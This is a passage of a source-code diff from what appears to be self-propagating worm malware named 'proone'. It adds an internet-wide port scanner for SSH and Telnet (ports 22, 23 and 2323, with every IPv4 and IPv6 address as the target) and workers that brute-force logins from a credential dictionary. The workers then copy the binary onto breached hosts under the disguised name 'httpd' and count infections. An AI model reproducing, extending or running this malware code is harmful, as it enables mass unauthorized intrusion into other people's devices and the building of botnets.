+ if (prne_eq_ipaddr(&ep->addr, prne_bne_get_subject(bne))) {
+ return;
+ }
+ }
+
+// TRY
+ w = prne_malloc(sizeof(prne_worker_t), 1);
+ if (w == NULL) {
+ goto END;
+ }
+ prne_init_worker(w);
+
+ e = prne_llist_append(&bne_list, (prne_llist_element_t)w);
+ if (e == NULL) {
+ goto END;
+ }
+
+ bne_param.subject = ep->addr;
+ bne = prne_alloc_bne(w, &prne_g.ssl.rnd, &bne_param);
+ if (bne == NULL) {
+ goto END;
+ }
+ w->attr = pth_attr_new();
+ pth_attr_set(w->attr, PTH_ATTR_PRIO, PTH_PRIO_STD - 1);
+
+ w->pth = pth_spawn(w->attr, w->entry, w->ctx);
+ if (w->pth == NULL) {
+ goto END;
+ }
+
+ pth_raise(prne_g.main_pth, SIGINT);
+ e = NULL;
+ w = NULL;
+
+END: // CATCH
+ if (e != NULL) {
+ prne_llist_erase(&bne_list, e);
+ }
+ if (w != NULL) {
+ prne_free_worker(w);
+ prne_free(w);
+ }
+}
+
+static void alloc_recon (void) {
+ prne_recon_t *rcn;
+ prne_recon_param_t param;
+ size_t dvl, cnt;
+ const uint8_t *m;
+ size_t i;
+
+ prne_init_recon_param(&param);
+
+// TRY
+ param.evt_cb = cb_recon_evt;
+
+ // load ports
+ m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_PORTS, &dvl);
+ cnt = dvl / 2;
+ if (!prne_alloc_recon_param(
+ &param,
+ param.blist.cnt,
+ param.target.cnt,
+ cnt))
+ {
+ goto END;
+ }
+ for (i = 0; i < cnt; i += 1) {
+ param.ports.arr[i] = prne_recmb_msb16(m[0], m[1]);
+ m += 2;
+ }
+
+ // load ipv4 targets
+ m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_T_IPV4, &dvl);
+ cnt = dvl / 5;
+ if (!prne_alloc_recon_param(
+ &param,
+ param.blist.cnt,
+ cnt,
+ param.ports.cnt))
+ {
+ goto END;
+ }
+ for (i = 0; i < cnt; i += 1) {
+ prne_memzero(param.target.arr + i, sizeof(prne_recon_network_t));
+
+ param.target.arr[i].addr.ver = PRNE_IPV_4;
+ memcpy(param.target.arr[i].addr.addr, m, 4);
+ prne_netmask_from_cidr(param.target.arr[i].mask, m[4]);
+ m += 5;
+ }
+ /* reuse i */
+ // load ipv6 targets
+ m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_T_IPV6, &dvl);
+ cnt = dvl / 17;
+ if (!prne_alloc_recon_param(
+ &param,
+ param.blist.cnt,
+ param.target.cnt + cnt,
+ param.ports.cnt))
+ {
+ goto END;
+ }
+ for (; i < param.target.cnt; i += 1) {
+ prne_memzero(param.target.arr + i, sizeof(prne_recon_network_t));
+
+ param.target.arr[i].addr.ver = PRNE_IPV_6;
+ memcpy(param.target.arr[i].addr.addr, m, 16);
+ prne_netmask_from_cidr(param.target.arr[i].mask, m[16]);
+ m += 17;
+ }
+
+ // load ipv4 blacklists
+ m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_BL_IPV4, &dvl);
+ cnt = dvl / 5;
+ if (!prne_alloc_recon_param(
+ &param,
+ cnt,
+ param.target.cnt,
+ param.ports.cnt))
+ {
+ goto END;
+ }
+ for (i = 0; i < cnt; i += 1) {
+ prne_memzero(param.blist.arr + i, sizeof(prne_recon_network_t));
+
+ param.blist.arr[i].addr.ver = PRNE_IPV_4;
+ memcpy(param.blist.arr[i].addr.addr, m, 4);
+ prne_netmask_from_cidr(param.blist.arr[i].mask, m[4]);
+ m += 5;
+ }
+ /* reuse i */
+ // load ipv6 blacklists
+ m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_BL_IPV6, &dvl);
+ cnt = dvl / 17;
+ if (!prne_alloc_recon_param(
+ &param,
+ param.blist.cnt + cnt,
+ param.target.cnt,
+ param.ports.cnt))
+ {
+ goto END;
+ }
+ for (; i < param.blist.cnt; i += 1) {
+ prne_memzero(param.blist.arr + i, sizeof(prne_recon_network_t));
+
+ param.blist.arr[i].addr.ver = PRNE_IPV_6;
+ memcpy(param.blist.arr[i].addr.addr, m, 16);
+ prne_netmask_from_cidr(param.blist.arr[i].mask, m[16]);
+ m += 17;
+ }
+
+ rcn = prne_alloc_recon(wkr_arr + wkr_cnt, &prne_g.ssl.rnd, &param);
+ if (rcn != NULL) {
+ param.ownership = false;
+ wkr_cnt += 1;
+ }
+ else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {
+ prne_dbgperr("prne_alloc_recon()");
+ }
+
+END: // CATCH
+ prne_free_recon_param(&param);
+}
+
static void alloc_workers (void) {
for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) {
prne_init_worker(wkr_arr + i);
}
alloc_resolv();
alloc_htbt();
+ alloc_recon();
}
static void free_workers (void) {
@@ -235,7 +441,6 @@ static void free_workers (void) {
prne_free_worker(wkr_arr + i);
}
prne_g.resolv = NULL;
- prne_g.htbt = NULL;
}
static void seed_ssl_rnd (const bool use_bent) {
@@ -265,44 +470,135 @@ static void seed_ssl_rnd (const bool use_bent) {
}
}
+static pth_event_t build_bne_ev (void) {
+ pth_event_t ret = NULL, ev;
+ prne_worker_t *w;
+
+ for (prne_llist_entry_t *e = bne_list.head; e != NULL; e = e->next) {
+ w = (prne_worker_t*)e->element;
+ ev = pth_event(PTH_EVENT_TID | PTH_UNTIL_TID_DEAD, w->pth);
+ prne_assert(ev != NULL);
+
+ if (ret == NULL) {
+ ret = ev;
+ }
+ else {
+ pth_event_concat(ret, ev, NULL);
+ }
+ }
+
+ return ret;
+}
+
+static void proc_bne_result (const prne_bne_result_t *r) {
+ if (prne_s_g != NULL) {
+ prne_s_g->bne_cnt += 1;
+ if (r->ny_instance) {
+ prne_s_g->infect_cnt += 1;
+ }
+ }
+}
+
+static void reap_bne (void) {
+ pth_state_t st;
+ prne_worker_t *w;
+ pth_attr_t a;
+ const prne_bne_result_t *r;
+
+ for (prne_llist_entry_t *e = bne_list.head; e != NULL;) {
+ w = (prne_worker_t*)e->element;
+ a = pth_attr_of(w->pth);
+ pth_attr_get(a, PTH_ATTR_STATE, &st);
+ pth_attr_destroy(a);
+
+ if (st == PTH_STATE_DEAD) {
+ r = NULL;
+ pth_join(w->pth, (void**)&r);
+ w->pth = NULL;
+
+ proc_bne_result(r);
+
+ prne_free_worker(w);
+ prne_free(w);
+ e = prne_llist_erase(&bne_list, e);
+ }
+ else {
+ e = e->next;
+ }
+ }
+}
+
/* proone_main()
* Actual main where all dangerous stuff happens.
* Most of long-lived variables are declared static so there's little stack
-* allocation involvedsince stack allocation can cause page fault.
+* allocation involved since stack allocation can cause page fault.
*/
static int proone_main (void) {
static int caught_sig;
+ static pth_event_t root_ev = NULL;
prne_assert(pth_init());
prne_assert(libssh2_init(0) == 0);
prne_g.main_pth = pth_self();
-
+ {
+ // set priority of main pth to max
+ pth_attr_t attr = pth_attr_of(prne_g.main_pth);
+ pth_attr_set(attr, PTH_ATTR_PRIO, PTH_PRIO_MAX);
+ pth_attr_destroy(attr);
+ }
seed_ssl_rnd(true);
- alloc_workers();
+ alloc_workers();
for (size_t i = 0; i < wkr_cnt; i += 1) {
- wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx);
+ wkr_arr[i].pth = pth_spawn(
+ wkr_arr[i].attr,
+ wkr_arr[i].entry,
+ wkr_arr[i].ctx);
prne_assert(wkr_arr[i].pth != NULL);
}
while (true) {
- prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0);
- if (sigismember(&ss_exit, caught_sig) && caught_sig != SIGINT) {
+ pth_event_free(root_ev, TRUE);
+ root_ev = build_bne_ev();
+
+ caught_sig = -1;
+ pth_sigwait_ev(&ss_all, &caught_sig, root_ev);
+ if (caught_sig >= 0 &&
+ sigismember(&ss_exit, caught_sig) &&
+ caught_sig != SIGINT)
+ {
break;
}
+
+ reap_bne();
}
sigprocmask(SIG_UNBLOCK, &ss_exit, NULL);
+ // reap generic workers
for (size_t i = 0; i < wkr_cnt; i += 1) {
prne_fin_worker(wkr_arr + i);
}
for (size_t i = 0; i < wkr_cnt; i += 1) {
prne_assert(pth_join(wkr_arr[i].pth, NULL));
- prne_free_worker(wkr_arr + i);
+ wkr_arr[i].pth = NULL;
}
-
free_workers();
+ // reap bne workers
+ for (prne_llist_entry_t *e = bne_list.head; e != NULL; e = e->next) {
+ prne_worker_t *w = (prne_worker_t*)e->element;
+ prne_bne_result_t *r = NULL;
+
+ pth_join(w->pth, (void**)&r);
+ w->pth = NULL;
+ proc_bne_result(r);
+
+ prne_free_worker(w);
+ prne_free(w);
+ }
+ prne_llist_clear(&bne_list);
+
+ pth_event_free(root_ev, TRUE);
pth_kill();
libssh2_exit();
@@ -421,6 +717,7 @@ static void init_proone (const char *self) {
prne_assert(elf->e_ident[EI_CLASS] == EXPTD_CLASS);
prne_assert(elf->e_ident[EI_DATA] == EXPTD_DATA);
+ prne_g.self_size = (size_t)file_size;
prne_g.exec_size = elf->e_shoff + (elf->e_shentsize * elf->e_shnum);
prne_g.exec_size = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT);
prne_massert(
@@ -999,6 +1296,75 @@ END:
prne_free(args);
}
+static bool bne_cb_enter_dd (void *ctx) {
+ prne_dvault_get_bin(PRNE_DATA_KEY_CRED_DICT, NULL);
+ return true;
+}
+
+static void bne_cb_exit_dd (void *ctx) {
+ prne_dvault_reset();
+}
+
+static char *bne_cb_exec_name (void *ctx) {
+ size_t dvl;
+ const char *dv_str;
+ char *ret;
+
+ dv_str = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &dvl);
+ ret = prne_alloc_str(dvl);
+ if (ret != NULL) {
+ memcpy(ret, dv_str, dvl + 1);
+ }
+
+ return ret;
+}
+
+static void init_bne (void) {
+ static const prne_bne_vector_t VEC_ARR[] = {
+ PRNE_BNE_V_HTBT,
+ PRNE_BNE_V_BRUTE_SSH,
+ PRNE_BNE_V_BRUTE_TELNET
+ };
+ size_t dvl;
+ const uint8_t *m;
+
+ prne_init_cred_dict(&prne_g.cred_dict);
+ prne_init_llist(&bne_list);
+ prne_init_bne_param(&bne_param);
+
+ m = prne_dvault_get_bin(PRNE_DATA_KEY_CRED_DICT, &dvl);
+ prne_dser_cred_dict(&prne_g.cred_dict, m, dvl);
+ bne_param.cred_dict = &prne_g.cred_dict;
+ prne_dvault_reset();
+
+ if (prne_g.c_ssl.ready) {
+ bne_param.htbt_ssl_conf = &prne_g.c_ssl.conf;
+ }
+
+ bne_param.vector.arr = VEC_ARR;
+ bne_param.vector.cnt = sizeof(VEC_ARR)/sizeof(prne_bne_vector_t);
+
+ bne_param.cb.exec_name = bne_cb_exec_name;
+ bne_param.cb.enter_dd = bne_cb_enter_dd;
+ bne_param.cb.exit_dd = bne_cb_exit_dd;
+
+ bne_param.rcb.m_self = prne_g.m_exec;
+ bne_param.rcb.self_len = prne_g.self_size;
+ bne_param.rcb.exec_len = prne_g.exec_size;
+ bne_param.rcb.m_dv = prne_g.m_exec_dvault;
+ bne_param.rcb.dv_len = prne_g.dvault_size;
+ bne_param.rcb.ba = &prne_g.bin_archive;
+ bne_param.rcb.self = prne_host_arch;
+
+ bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT;
+}
+
+static void deinit_bne (void) {
+ prne_free_llist(&bne_list);
+ prne_free_cred_dict(&prne_g.cred_dict);
+ prne_free_bne_param(&bne_param);
+}
+
int main (const int argc, const char **args) {
static int exit_code;
@@ -1044,6 +1410,7 @@ int main (const int argc, const char **args) {
seed_ssl_rnd(false);
load_ssl_conf();
init_ids();
+ init_bne();
if (!init_shared_global()) {
prne_dbgpf("*** Another instance detected.\n");
exit_code = PRNE_PROONE_EC_LOCK;
@@ -1152,6 +1519,7 @@ int main (const int argc, const char **args) {
prne_g.child_pid = 0;
END:
+ deinit_bne();
prne_free_bin_archive(&prne_g.bin_archive);
mbedtls_ssl_config_free(&prne_g.s_ssl.conf);
diff --git a/src/proone.h b/src/proone.h
index a3aac4d..073996b 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -1,7 +1,7 @@
#pragma once
#include "pack.h"
#include "resolv.h"
-#include "htbt.h"
+#include "cred_dict.h"
#include <stdint.h>
#include <stdbool.h>
@@ -14,6 +14,8 @@
#include <mbedtls/ctr_drbg.h>
+#define PROONE_BNE_MAX_CNT 128
+
struct prne_global { // TODO: tidy init code when finalised
struct timespec parent_start;
struct timespec child_start;
@@ -24,12 +26,12 @@ struct prne_global { // TODO: tidy init code when finalised
* Could be NULL. Just keep infecting other machines without it.
*/
prne_resolv_t *resolv;
- prne_htbt_t *htbt;
pid_t parent_pid;
pid_t child_pid;
uint8_t *m_dvault;
const uint8_t *m_exec;
size_t exec_size;
+ size_t self_size;
const uint8_t *m_exec_dvault;
int blackhole[2];
int shm_fd;
@@ -37,6 +39,7 @@ struct prne_global { // TODO: tidy init code when finalised
bool is_child;
prne_bin_archive_t bin_archive;
+ prne_cred_dict_t cred_dict;
struct {
mbedtls_x509_crt ca;
diff --git a/src/proone_conf.skel/config.h b/src/proone_conf.skel/config.h
index c70c795..2e9b39e 100644
--- a/src/proone_conf.skel/config.h
+++ b/src/proone_conf.skel/config.h
@@ -1 +1,65 @@
-#define PRNE_CNC_TXT_REC "CHANGE.ME.test"
+#pragma once
+#define PRNE_CNC_TXT_REC "CHANGE.ME.test"
+#define PRNE_BNE_LOGIN_ATTEMPT 0
+#define PRNE_BNE_EXEC_NAME "httpd"
+
+#define PRNE_RCN_PORTS {\
+ /* 22 */ 0x00, 0x16,\
+ /* 23 */ 0x00, 0x17,\
+ /* 2323 */ 0x09, 0x13\
+}
+
+// Array of 5 byte elements: 4 byte IPv4 address followed by cidr
+#define PRNE_RCN_T_IPV4 {\
+ /* 0.0.0.0/0 */ 0, 0, 0, 0, 0\
+}
+
+#define PRNE_RCN_BL_IPV4 {\
+ /* current net */ 0, 0, 0, 0, 8,\
+ /* loopback */ 127,0, 0, 0, 8,\
+ /* link-local */ 169,254,0, 0, 16,\
+ /* multicast */ 224,0, 0, 0, 4\
+}
+
+// Array of 17 byte elements: 16 byte IPv6 address followed by cidr
+#define PRNE_RCN_T_IPV6 {\
+ /* ::/0 */\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0\
+}
+
+#define PRNE_RCN_BL_IPV6 {\
+ /* unknown */\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 128,\
+ /* loopback */\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,\
+ 128,\
+ /* IPv4 mapped */\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00,\
+ 96,\
+ /* IPv4 translated */\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 96,\
+ /* IPv4/IPv6 translation */\
+ 0x00, 0x64, 0xff, 0x9b, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 96,\
+ /* routing discard */\
+ 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 64,\
+ /* link-local */\
+ 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 10,\
+ /* multicast */\
+ 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\
+ 8\
+}
diff --git a/src/proone_conf.skel/cred_dict.txt b/src/proone_conf.skel/cred_dict.txt
new file mode 100644
index 0000000..28a6c30
--- /dev/null
+++ b/src/proone_conf.skel/cred_dict.txt
@@ -0,0 +1 @@
+# Sample:/src/data/cred_dict.sample.txt
diff --git a/src/protocol.c b/src/protocol.c
index 6045f5f..510864d 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -59,6 +59,21 @@ bool prne_arch_inrange (const prne_arch_t x) {
return PRNE_ARCH_NONE < x && x < NB_PRNE_ARCH;
}
+bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b) {
+ size_t l;
+
+ if (a->ver != b->ver) {
+ return false;
+ }
+ switch (a->ver) {
+ case PRNE_IPV_4: l = 4; break;
+ case PRNE_IPV_6: l = 16; break;
+ default: l = 0;
+ }
+
+ return memcmp(a->addr, b->addr, l) == 0;
+}
+
void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) {
memcpy(&out->sin_addr, ep->addr.addr, 4);
out->sin_family = AF_INET;
diff --git a/src/protocol.h b/src/protocol.h
index 6813729..d89b9e3 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -49,8 +49,8 @@ typedef enum {
PRNE_IPV_6
} prne_ipv_t;
-_Static_assert(sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4");
-_Static_assert(sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16");
+prne_static_assert(sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4");
+prne_static_assert(sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16");
struct prne_ip_addr {
uint8_t addr[16];
prne_ipv_t ver;
@@ -292,6 +292,7 @@ const char *prne_arch_tostr (const prne_arch_t x);
prne_arch_t prne_arch_fstr (const char *str);
bool prne_arch_inrange (const prne_arch_t x);
+bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b);
void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out);
void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out);
bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out);
diff --git a/src/pth.c b/src/pth.c
index 7186a53..6cdb739 100644
--- a/src/pth.c
+++ b/src/pth.c
@@ -5,19 +5,24 @@
void prne_init_worker (prne_worker_t *w) {
- w->ctx = NULL;
- w->entry = NULL;
- w->fin = NULL;
- w->free_ctx = NULL;
- w->pth = NULL;
+ prne_memzero(w, sizeof(prne_worker_t));
}
void prne_free_worker (prne_worker_t *w) {
+ if (w == NULL) {
+ return;
+ }
+
if (w->ctx != NULL) {
prne_assert(w->free_ctx != NULL);
w->free_ctx(w->ctx);
- w->ctx = NULL;
}
+ if (w->pth != NULL) {
+ pth_abort(w->pth);
+ }
+ pth_attr_destroy(w->attr);
+
+ prne_memzero(w, sizeof(prne_worker_t));
}
void prne_fin_worker (prne_worker_t *w) {
diff --git a/src/pth.h b/src/pth.h
index b748543..6a06579 100644
--- a/src/pth.h
+++ b/src/pth.h
@@ -10,6 +10,7 @@ struct prne_worker {
void (*fin)(void*);
void (*free_ctx)(void*);
pth_t pth;
+ pth_attr_t attr;
};
typedef struct prne_worker prne_worker_t;
diff --git a/src/recon.c b/src/recon.c
index 4de734c..128fb94 100644
--- a/src/recon.c
+++ b/src/recon.c
@@ -529,7 +529,7 @@ static void rcn_main_recv_syn_tail (
ntohl(th->ack_seq) == exp_ack &&
th->ack && th->syn && !th->rst && !th->fin)
{
- ctx->param.evt_cb(ep);
+ ctx->param.evt_cb(ctx->param.cb_ctx, ep);
}
}
diff --git a/src/recon.h b/src/recon.h
index 0a00b6f..99b8d58 100644
--- a/src/recon.h
+++ b/src/recon.h
@@ -8,7 +8,7 @@
typedef struct prne_recon prne_recon_t;
typedef struct prne_recon_param prne_recon_param_t;
typedef struct prne_recon_network prne_recon_network_t;
-typedef void(*prne_recon_evt_ft)(const prne_net_endpoint_t *ep);
+typedef void(*prne_recon_evt_ft)(void *ctx, const prne_net_endpoint_t *ep);
struct prne_recon_network {
prne_ip_addr_t addr;
@@ -29,6 +29,7 @@ struct prne_recon_param {
size_t cnt;
} ports;
prne_recon_evt_ft evt_cb;
+ void *cb_ctx;
bool ownership;
};
diff --git a/src/resolv.c b/src/resolv.c
index 48d3e94..cc4d30c 100644
--- a/src/resolv.c
+++ b/src/resolv.c
@@ -27,7 +27,7 @@
#include <mbedtls/ssl.h>
#include <mbedtls/ctr_drbg.h>
-_Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t");
+prne_static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t");
#define OK_OR_ERR(v) if (v < 0) { goto ERR; }